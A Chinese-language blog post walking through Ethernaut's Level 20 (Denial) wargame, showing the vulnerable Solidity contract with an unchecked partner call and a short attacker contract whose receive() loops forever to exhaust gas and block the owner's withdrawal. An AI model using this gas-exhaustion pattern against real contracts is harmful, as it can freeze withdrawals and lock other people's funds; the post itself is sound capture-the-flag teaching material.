DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 20(Denial)

LEVEL 20 (Denial):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

阻止withdraw成功转账

要点

调用call方法失败(revert)会返回false

解题思路

call(bytes memory) returns (bool, bytes memory)
如果调用的方法revert是不会中断执行的,方法只会返回false
不过有个例外就是gas耗尽,会中断执行
所以只要在partner的receive方法里耗掉gas即可中断
contracts/20DenialRun.sol

contract DenialRun {
  uint noting;

  receive() external payable {
    while(true){
      noting = 1;
    }
  }

}
Enter fullscreen mode Exit fullscreen mode

Top comments (0)